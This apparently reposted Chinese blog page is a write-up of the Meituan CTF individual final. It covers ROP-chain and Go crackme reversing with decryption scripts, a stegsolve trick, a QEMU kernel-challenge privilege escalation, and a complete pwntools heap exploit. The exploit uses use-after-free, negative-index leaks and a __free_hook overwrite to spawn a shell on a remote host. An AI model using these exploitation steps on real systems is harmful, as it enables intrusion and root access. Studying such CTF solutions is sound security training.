百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 编程字典 > 正文

美团CTF个人决赛WP

toyiye 2024-05-19 19:35 13 浏览 0 评论

Reverse

ROP

解析data的ROP,一点一点还原

from pwn import *
opcode = open('data', 'rb').read()
opcode_gadget = opcode[0x30+8:]
for offset in range(0, len(opcode_gadget), 8):
    print(f'{hex(u64(opcode_gadget[offset:offset+8]))}')

提取出来密文,转成64位的

cipher = [0x98, 0x7A, 0xDF, 0x57, 0xC6, 0xE3, 0x18, 0xC7, 0x11, 0x07, 0xC7, 0xD4, 0x02, 0xD2, 0x9E,
          0x43, 0x3A, 0xCE, 0x32, 0x04, 0x33, 0x2D, 0x30, 0x30, 0xAB, 0x03, 0x84, 0xB2, 0xA9, 0x09, 0xAA, 0x40]
cipher=[int.from_bytes(bytes(cipher[i:i+8]), 'little')  for i in range(0,32,8)]

分析gadget都是通过设置rax和参数寄存器,然后call rax触发函数,函数只有4种

地址效果0x4011D6异或两个64bit0x401233变种的异或,配合0x4011d6就是swap0x401332两个64bit相减0x4013EE检查输入是否满足uuid格式0x401480提取uuid中32位字符到bss段数组0x40125D两个64bit相加

流程是一开始将一个32位字符放到bss段中,这个bss贴近我们输入放入bss段的位置,参与到运算

然后开始rop链,读取42个字符,提取uuid中32位字符,进行加密运算,运算的最后一部分是swap的操作,测试得知顺序改变为[2,3,0,1]

最后对比密文跳转结果

照着指令写一个逆回来的过程

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
uint64_t bss_flag[] = {3472325009839672890, 4659547388917318571, 14346467054006008472, 4872562756463036177, 3545518422457791288, 3689401600665085541, 3906648618554712880, 7004559110426617186};
void add(int i,int j){
    bss_flag[i] -= bss_flag[j];
}

void sub(int i,int j){
    bss_flag[i] += bss_flag[j];
}

void xor1(int i,int j){
    bss_flag[i] ^= bss_flag[j];
}

int main(){
    sub(0x0,0x7);
    add(0x1,0x5);
    sub(0x3,0x7);
    add(0x0,0x5);
    add(0x0,0x7);
    sub(0x3,0x7);
    add(0x0,0x5);
    xor1(0x2,0x5);
    xor1(0x2,0x5);
    sub(0x3,0x7);
    sub(0x2,0x6);
    xor1(0x0,0x7);
    add(0x2,0x4);
    add(0x1,0x4);
    xor1(0x1,0x7);
    xor1(0x0,0x7);
    sub(0x0,0x5);
    sub(0x0,0x7);
    sub(0x0,0x5);
    add(0x1,0x7);
    xor1(0x1,0x5);
    add(0x1,0x6);
    sub(0x1,0x4);
    xor1(0x2,0x4);
    add(0x1,0x4);
    sub(0x0,0x6);
    sub(0x2,0x7);
    add(0x1,0x6);
    sub(0x2,0x5);
    add(0x0,0x7);
    xor1(0x3,0x6);
    add(0x2,0x4);
    xor1(0x0,0x6);
    xor1(0x0,0x5);
    xor1(0x3,0x7);
    xor1(0x0,0x4);
    xor1(0x2,0x5);
    xor1(0x2,0x6);
    xor1(0x2,0x6);
    xor1(0x3,0x4);
    xor1(0x0,0x7);
    xor1(0x2,0x5);
    xor1(0x0,0x4);
    xor1(0x3,0x5);
    xor1(0x1,0x6);
    xor1(0x3,0x7);
    xor1(0x0,0x4);
    xor1(0x1,0x4);
    xor1(0x2,0x7);
    xor1(0x1,0x7);
    xor1(0x0,0x4);
    xor1(0x2,0x6);
    xor1(0x0,0x5);
    xor1(0x1,0x7);
    xor1(0x0,0x5);
    xor1(0x0,0x4);
    xor1(0x3,0x6);
    xor1(0x1,0x7);
    xor1(0x2,0x5);
    xor1(0x0,0x7);
    xor1(0x0,0x7);
    xor1(0x2,0x4);
    xor1(0x3,0x4);
    xor1(0x3,0x7);
    printf("%s",(char *)bss_flag);
    // flag{eb4781b3-e3c5-475e-8af4-2fa50468f485}
}

crackme

go语言,一开始我ida还f5反编译不了,换了个才可以,难顶

直接sm4加密和rc4,sm4密钥写死在代码里

rc4的key在linese.txt里,密文也在里面

exp:

from binascii import unhexlify
from Crypto.Cipher import ARC4
from sm4 import SM4Key

c= unhexlify(b'cc53de43058c79e4e13dbfe4e1ece82ec7d70b0fe460d50a6e2dfbbdac0b22173124ac7dee560b026b9b4cf1394c9493ad62874b4ef2125bbe27f99827d2a801b1b994c90bc31caea1cc9dc09362b518')
key = b'd0cac74c1bbeea071817360e491585e8'
cipher = ARC4.new(key)
m = cipher.decrypt(c)
key0 = SM4Key(b'xc08asb890ajds0a')
print(key0.decrypt(m))

Misc

What is that

stegsolve直接切换几个通道就可以看到

pwn

hello

直接网上查到kernel pwn qemu 的非预期

ctrl+a然后c进入shell,cat flag没有权限,要再提权,删除/sbin/poweroff然后exit就可以到su权限,再cat flag就可以

heap

一个UAF+数组上溢出

这里可以输入负数,可以数组溢出就可以往上泄露地址,泄露出程序基地址后再相同手法修改free_hook就可以。

from pwn import *
context.log_level='debug'
#p=process('./pwn')
p=remote('47.95.8.59',42283)
elf=ELF('./pwn')
#libc=ELF('/usr/lib/freelibs/amd64/2.27-3ubuntu1.5_amd64/libc.so.6')
libc=ELF('./libc.so.6')

def add(size):
    p.sendafter(b'>\n', b'1')
    p.sendafter(b'add?\n', str(size).encode())

def dele(index):
    p.sendafter(b'>\n', b'2')
    p.sendafter(b'up?\n', str(index).encode())

def edit(index,size,content):
    p.sendafter(b'>\n', b'3')
    p.sendafter(b'write?\n', str(index).encode())
    p.sendafter(b'write?\n', str(size).encode())
    p.sendafter(b'Content:', content)

def show(index):
    p.sendafter(b'>\n', b'4')
    p.sendafter(b'review?\n', str(index).encode())

show(-11)
p.recvuntil('Content:')
probase=u64(p.recv(6).ljust(8,b'\x00'))-0x4008
arraddr=probase+0x4060
add(0x10)
add(0x10)
add(0x10)
dele(0)
dele(1)
dele(2)
edit(1,8,p64(arraddr))
add(0x10)
add(0x10)
add(0x10)
edit(2,8,p64(probase+elf.got['puts']))
show(0)
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.symbols['puts']
free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']
edit(2,8,p64(free_hook))
edit(0,8,p64(system))
add(0x10)
edit(3,8,b'/bin/sh\x00')
dele(3)
p.interactive()

https://tttang.com/archive/1411/#toc_urlclassloader https://goodapple.top/archives/1749

相关推荐

为何越来越多的编程语言使用JSON(为什么编程)

JSON是JavascriptObjectNotation的缩写,意思是Javascript对象表示法,是一种易于人类阅读和对编程友好的文本数据传递方法,是JavaScript语言规范定义的一个子...

何时在数据库中使用 JSON(数据库用json格式存储)

在本文中,您将了解何时应考虑将JSON数据类型添加到表中以及何时应避免使用它们。每天?分享?最新?软件?开发?,Devops,敏捷?,测试?以及?项目?管理?最新?,最热门?的?文章?,每天?花?...

MySQL 从零开始:05 数据类型(mysql数据类型有哪些,并举例)

前面的讲解中已经接触到了表的创建,表的创建是对字段的声明,比如:上述语句声明了字段的名称、类型、所占空间、默认值和是否可以为空等信息。其中的int、varchar、char和decimal都...

JSON对象花样进阶(json格式对象)

一、引言在现代Web开发中,JSON(JavaScriptObjectNotation)已经成为数据交换的标准格式。无论是从前端向后端发送数据,还是从后端接收数据,JSON都是不可或缺的一部分。...

深入理解 JSON 和 Form-data(json和formdata提交区别)

在讨论现代网络开发与API设计的语境下,理解客户端和服务器间如何有效且可靠地交换数据变得尤为关键。这里,特别值得关注的是两种主流数据格式:...

JSON 语法(json 语法 priority)

JSON语法是JavaScript语法的子集。JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔花括号保存对象方括号保存数组JS...

JSON语法详解(json的语法规则)

JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔大括号保存对象中括号保存数组注意:json的key是字符串,且必须是双引号,不能是单引号...

MySQL JSON数据类型操作(mysql的json)

概述mysql自5.7.8版本开始,就支持了json结构的数据存储和查询,这表明了mysql也在不断的学习和增加nosql数据库的有点。但mysql毕竟是关系型数据库,在处理json这种非结构化的数据...

JSON的数据模式(json数据格式示例)

像XML模式一样,JSON数据格式也有Schema,这是一个基于JSON格式的规范。JSON模式也以JSON格式编写。它用于验证JSON数据。JSON模式示例以下代码显示了基本的JSON模式。{"...

前端学习——JSON格式详解(后端json格式)

JSON(JavaScriptObjectNotation)是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于JavaScriptProgrammingLa...

什么是 JSON:详解 JSON 及其优势(什么叫json)

现在程序员还有谁不知道JSON吗?无论对于前端还是后端,JSON都是一种常见的数据格式。那么JSON到底是什么呢?JSON的定义...

PostgreSQL JSON 类型:处理结构化数据

PostgreSQL提供JSON类型,以存储结构化数据。JSON是一种开放的数据格式,可用于存储各种类型的值。什么是JSON类型?JSON类型表示JSON(JavaScriptO...

JavaScript:JSON、三种包装类(javascript 包)

JOSN:我们希望可以将一个对象在不同的语言中进行传递,以达到通信的目的,最佳方式就是将一个对象转换为字符串的形式JSON(JavaScriptObjectNotation)-JS的对象表示法...

Python数据分析 只要1分钟 教你玩转JSON 全程干货

Json简介:Json,全名JavaScriptObjectNotation,JSON(JavaScriptObjectNotation(记号、标记))是一种轻量级的数据交换格式。它基于J...

比较一下JSON与XML两种数据格式?(json和xml哪个好)

JSON(JavaScriptObjectNotation)和XML(eXtensibleMarkupLanguage)是在日常开发中比较常用的两种数据格式,它们主要的作用就是用来进行数据的传...

取消回复欢迎 发表评论:

请填写验证码